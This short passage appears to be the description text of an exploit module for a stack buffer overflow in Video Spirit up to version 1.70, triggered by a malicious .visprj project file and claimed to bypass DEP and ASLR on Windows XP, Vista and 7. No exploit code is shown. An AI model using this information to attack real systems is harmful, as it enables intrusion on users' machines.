                    This module exploits a stack buffer overflow in Video Spirit <= 1.70.
                When opening a malicious project file (.visprj), a stack buffer overflow occurs,
                resulting in arbitrary code execution.
                This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
